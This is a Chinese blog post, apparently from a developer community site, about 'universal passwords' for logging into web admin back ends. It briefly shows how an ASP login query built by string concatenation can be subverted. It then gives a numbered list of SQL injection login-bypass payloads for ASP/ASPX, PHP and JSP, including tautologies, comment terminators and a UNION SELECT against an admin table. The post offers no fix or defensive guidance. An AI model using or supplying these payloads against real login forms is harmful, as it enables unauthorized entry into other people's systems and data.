暴力破解时常说的万能密码是什么

     在登陆后台时,接收用户输入的Userid和Password数据,并分别赋值给user和pwd,然后再用  sql="select * from admin where username="&user&" and password="&pwd&"" 这句来对用户名和密码加以验证。  
      以常理来考虑的话,这是个很完整的程序了,而在实际的使用过程中,整套程序也的确可能正常使用。但是如果Userid的值和password的值被赋于:safer’ or’1’=’1’ 这时,sql="select * from admin where username="&user&" and password="&pwd&"" 就成了:sql="select * from reg where user=safer’ or’1’=’1’ and pass=safer’ or’1’=’1’这样的问题。

     我们应当注意这样一件事情,那就是无论查询语句怎么写我们所输入的内容都是要被单引号引起来的,那么我们现在尝试利用这样的特点来构造新的“万能密码”登录

asp aspx万能密码  

          1:”or “a”=”a  

           2: ‘)or(‘a’=’a 

           3:or 1=1–  

           4:’or 1=1–  

            5:a’or’ 1=1–  

             6:”or 1=1– 

              7:’or’a’=’a  

             8:”or”=”a’=’a 

             9:’or”=’  

            10:’or’=’or’ 

             11: 1 or ‘1’=’1’=1  

              12: 1 or ‘1’=’1’ or 1=1  

               13: ‘OR 1=1%00  

              14: “or 1=1%00  

              15: ‘xor  

              16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)  密码 1 

               17..admin’ or ‘a’=’a 密码随便  PHP万能密码  ‘or 1=1/*  User: something  Pass: ’ OR ‘1’=’1  

jsp 万能密码  

    1’or’1’=’1 

      admin’ OR 1=1/*

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值